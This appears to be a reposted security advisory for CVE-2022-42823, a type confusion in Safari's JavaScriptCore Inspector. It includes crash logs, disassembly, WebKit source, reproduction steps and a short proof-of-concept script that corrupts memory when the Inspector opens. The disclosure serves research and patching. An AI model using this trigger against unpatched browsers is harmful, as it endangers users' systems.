APPLE SAFARI JAVASCRIPTCORE INSPECTOR TYPE CONFUSION

浏览器安全 1年前 (2022) admin

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Summary

A Type confusion vulnerability exists in the Apple Safari JSC Inspector. This issue causes Memory Corruption due to Type confusion. A victim must open an arbitrary generated HTML file to trigger this vulnerability.

Credit

Dohyun Lee (@l33d0hyun) of SSD Labs

CVE

CVE-2022-42823

Vendor Response

The issue received CVE-2022-42823 and was credited on our advisories at:

https://support.apple.com/HT213488
https://support.apple.com/HT213492
https://support.apple.com/HT213489
https://support.apple.com/HT213495
https://support.apple.com/HT213491

Test environment

Apple Silicon M1 Processor
macOS Monterey 12.5(21G72)
Apple Safari 15.6(17613.3.9.1.5)

Root Cause Analysis

    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9c7980019f2cc1d0)
    Note: Possible pointer authentication failure detected.
    Found value that failed to authenticate at address=0x19f2cc1d0.

        frame #0: 0x00000001b796e9d0 JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
    JavaScriptCore`WTFCrashWithInfo:
    ->  0x1b796e9d0 <+20>: brk    #0xc471
        0x1b796e9d4 <+24>: brk    #0x1

    JavaScriptCore`WTF::AutomaticThread::threadDidStart:
        0x1b796e9d8 <+0>:  ret

    JavaScriptCore`WTF::AutomaticThread::threadIsStopping:
        0x1b796e9dc <+0>:  ret
    Target 0: (com.apple.WebKit.WebContent) stopped.
    (lldb) reg read
    General Purpose Registers:
            x0 = 0x00000000000000ce
            x1 = 0x00000001b8c3cef5  "./inspector/InjectedScriptManager.cpp"
            x2 = 0x00000001b8c3cf1b  "Inspector::InjectedScript Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
            x3 = 0x00000000000000e5
            x4 = 0xffffffffca2eb078
            x5 = 0x0000000000000008
            x6 = 0x000000000000000a
            x7 = 0x0000000000000001
            x8 = 0x0000000000000001
            x9 = 0x0000000000000000
        x10 = 0x00000021a0e33805
        x11 = 0x0000000000000001
        x12 = 0x0000000000000001
        x13 = 0x8000000008041000
        x14 = 0x0000000106360138
        x15 = 0x0000007ff0000000
        x16 = 0x9c7980019f2cc1d0 (0x000000019f2cc1d0) libsystem_kernel.dylib`mach_approximate_time
        x17 = 0x00000001fa6c2ae8  (void *)0x9c7980019f2cc1d0
        x18 = 0x0000000000000000
        x19 = 0x000000010d0719c0
        x20 = 0x0000000135413000
        x21 = 0x00000001350c5a68
        x22 = 0x0000000000000001
        x23 = 0x000000010d072a40
        x24 = 0x00000001b8b9a110  JavaScriptCore`InjectedScriptSource_js
        x25 = 0x0000000000000000
        x26 = 0x0000000000000010
        x27 = 0x000000010d024e20
        x28 = 0x0000000000000000
            fp = 0x000000016b131340
            lr = 0x00000001b8352574  JavaScriptCore`Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*) + 2872
            sp = 0x000000016b131250
            pc = 0x00000001b796e9d0  JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
        cpsr = 0x80001000

If you attach lldb and check the log immediately after the crash occurs, you can confirm that a failure occurred in the PAC verification

WebCore::PageRuntimeAgent::notifyContextCreated(WTF::String const&, JSC::JSGlobalObject*, WebCore::DOMWrapperWorld const&, WebCore::SecurityOrigin*) + 64 WebCoreWebCore::PageRuntimeAgent::notifyContextCreated:
0x1bc68fb64 <+0>: pacibsp
0x1bc68fb68 <+4>: sub sp, sp, #0xa0
0x1bc68fb6c <+8>: stp x24, x23, [sp, #0x60]
0x1bc68fb70 <+12>: stp x22, x21, [sp, #0x70]
0x1bc68fb74 <+16>: stp x20, x19, [sp, #0x80]
0x1bc68fb78 <+20>: stp x29, x30, [sp, #0x90]
0x1bc68fb7c <+24>: add x29, sp, #0x90
0x1bc68fb80 <+28>: mov x19, x4
0x1bc68fb84 <+32>: mov x22, x3
0x1bc68fb88 <+36>: mov x21, x2
0x1bc68fb8c <+40>: mov x20, x1
0x1bc68fb90 <+44>: mov x23, x0
0x1bc68fb94 <+48>: ldr x0, [x0, #0x18]
0x1bc68fb98 <+52>: add x8, sp, #0x8
0x1bc68fb9c <+56>: mov x1, x2
0x1bc68fba0 <+60>: bl 0x1bd0a84c0 ; symbol stub for: Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*)
=> 0x1bc68fba4 <+64>: ldr x8, [sp, #0x18]
0x1bc68fba8 <+68>: cbz x8, 0x1bc68ff70 ; <+1036>
0x1bc68fbac <+72>: ldr x8, [x8]
0x1bc68fbb0 <+76>: cbz x8, 0x1bc68ff70 ; <+1036>
0x1bc68fbb4 <+80>: ldr x8, [x22, #0x20]
0x1bc68fbb8 <+84>: str x8, [sp]
0x1bc68fbbc <+88>: cbz x8, 0x1bc69014c ; <+1512>
0x1bc68fbc0 <+92>: ldp w9, w10, [x8]
0x1bc68fbc4 <+96>: add w9, w9, #0x2

You can see the above assembly calling the Inspector::InjectedScriptManager::injectedScriptFor function.

Inspector::InjectedScriptManager:: (JSC::JSGlobalObject*) + 2872
    0x1b835255c <+2848>: add    x1, x1, #0xef5            ; "./inspector/InjectedScriptManager.cpp"
    0x1b8352560 <+2852>: adrp   x2, 2282
    0x1b8352564 <+2856>: add    x2, x2, #0xf1b            ; "Inspector::InjectedScript Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
    0x1b8352568 <+2860>: mov    w0, #0xce
    0x1b835256c <+2864>: mov    w3, #0xe5
    0x1b8352570 <+2868>: bl     0x1b796e9bc               ; WTFCrashWithInfo(int, char const*, char const*, int)
 => 0x1b8352574 <+2872>: add    x8, sp, #0x60
    0x1b8352578 <+2876>: add    x0, sp, #0x58
    0x1b835257c <+2880>: mov    x1, x21
    0x1b8352580 <+2884>: bl     0x1b87529a4               ; JSC::JSValue::toWTFStringSlowCase(JSC::JSGlobalObject*) const
    0x1b8352584 <+2888>: add    x8, sp, #0x30
    0x1b8352588 <+2892>: add    x0, sp, #0x60

InjectedScript InjectedScriptManager::injectedScriptFor(JSGlobalObject* globalObject)
    {
        auto it = m_scriptStateToId.find(globalObject);
        if (it != m_scriptStateToId.end()) {
            auto it1 = m_idToInjectedScript.find(it->value);
            if (it1 != m_idToInjectedScript.end())
                return it1->value;
        }

        if (!m_environment.canAccessInspectedScriptState(globalObject))
            return InjectedScript();

        int id = injectedScriptIdFor(globalObject);
        auto createResult = createInjectedScript(globalObject, id);
        if (!createResult) {
            auto& error = createResult.error();
            ASSERT(error);

            if (globalObject->vm().isTerminationException(error))
                return InjectedScript();

            unsigned line = 0;
            unsigned column = 0;
            auto& stack = error->stack();
            if (stack.size() > 0)
                stack[0].computeLineAndColumn(line, column);
            WTFLogAlways("Error when creating injected script: %s (%d:%d)\n", error->value().toWTFString(globalObject).utf8().data(), line, column);
            RELEASE_ASSERT_NOT_REACHED();
        }
        if (!createResult.value()) {        // hit point
            WTFLogAlways("Missing injected script object");
            RELEASE_ASSERT_NOT_REACHED();
        }

        InjectedScript result({ globalObject, createResult.value() }, &m_environment);
        m_idToInjectedScript.set(id, result);
        didCreateInjectedScript(result);
        return result;
    }

https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/inspector/InjectedScriptManager.cpp#L195

– Crashed on Inspector::InjectedScriptManager::injectedScriptFor + 2872. This indicates a problem with the globalObject pointer.

– Invalid globalObject pointer is obtained and Safari PAC Exception during the verification step.

Reproduce

Download the attached file.
open poc.html (sent as poc.txt) on Apple Safari.
open Inspector.

PoC

<script>
    let object = {};
    Object.prototype.__defineSetter__('type', function() {
        object.x = {};
        object[0] = object.x;
    });
</script>